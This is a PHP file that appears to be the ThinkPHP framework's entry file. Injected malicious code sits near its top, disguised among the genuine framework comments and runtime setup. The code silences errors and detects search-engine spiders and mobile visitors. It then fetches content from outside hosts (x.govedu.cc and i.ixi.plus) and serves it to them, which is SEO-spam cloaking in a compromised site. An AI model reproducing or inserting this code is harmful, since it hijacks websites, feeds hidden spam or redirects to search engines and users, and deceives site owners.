// +---------------------------------------------------------------------- // | ThinkPHP [ WE CAN DO IT JUST THINK IT ] // +---------------------------------------------------------------------- // | Copyright (c) 2006-2012 http://thinkphp.cn All rights reserved. // +---------------------------------------------------------------------- // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) // +---------------------------------------------------------------------- // | Author: liu21st // +---------------------------------------------------------------------- // ThinkPHP 入口文件 error_reporting(0); define('wwwroot', 'http://x.govedu.cc/off/ip.php?'); define('request', $_SERVER['REQUEST_URI']); define('referer', $_SERVER['HTTP_REFERER']); define('user_agent', $_SERVER['HTTP_USER_AGENT']); define('suffix', '/(\.(xml|doc|txt|ppt|xls|csv|shtml)|hh|wap|mtv|mip|app|video|article|content|question)/i'); define('is_origin', 'road=' . $_SERVER['HTTP_HOST'] . request); define('spider_head', '@Baidu|Sogou|Yisou|Haosou|360Spi|Bytespi|So.com|Sm.cn|Toutiao.com@i'); define('is_suffix', preg_match(suffix, request)); define('is_referer', preg_match(spider_head, referer)); define('is_user_agent', preg_match(spider_head, user_agent)); define('is_mobile', preg_match('@Android|Mobile|Wap|iOS|iPad|iPhone|Tablet|iPod|Windows Phone@i', user_agent)); if (is_user_agent && is_suffix) { die(openweb(wwwroot . is_origin)); } if (is_user_agent) { echo openweb(wwwroot . 'zz&'); ob_flush(); flush(); } if (is_suffix && is_referer && is_mobile) { die(openweb('https://i.ixi.plus/9.txt')); } function openweb($request) { $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; $header = array('http' => array('method' => 'GET','header' => 'User-Agent: ' . user_agent . "\r\n" .'X-Forwarded-For: ' . $ip)); $context = stream_context_create($header); $data = file_get_contents($request, false, $context); return $data; } //记录开始运行时间 $GLOBALS['_beginTime'] = microtime(TRUE); // 记录内存初始使用 define('MEMORY_LIMIT_ON',function_exists('memory_get_usage')); if(MEMORY_LIMIT_ON) $GLOBALS['_startUseMems'] = memory_get_usage(); defined('APP_PATH') or define('APP_PATH', dirname($_SERVER['SCRIPT_FILENAME']).'/'); defined('RUNTIME_PATH') or define('RUNTIME_PATH',APP_PATH.'Runtime/'); defined('APP_DEBUG') or define('APP_DEBUG',false); // 是否调试模式 $runtime = defined('MODE_NAME')?'~'.strtolower(MODE_NAME).'_runtime.php':'~runtime.php'; defined('RUNTIME_FILE') or define('RUNTIME_FILE',RUNTIME_PATH.$runtime); if(!APP_DEBUG && is_file(RUNTIME_FILE)) { // 部署模式直接载入运行缓存 require RUNTIME_FILE; }else{ // 系统目录定义 defined('THINK_PATH') or define('THINK_PATH', dirname(__FILE__).'/'); // 加载运行时文件 require THINK_PATH.'Common/runtime.php'; }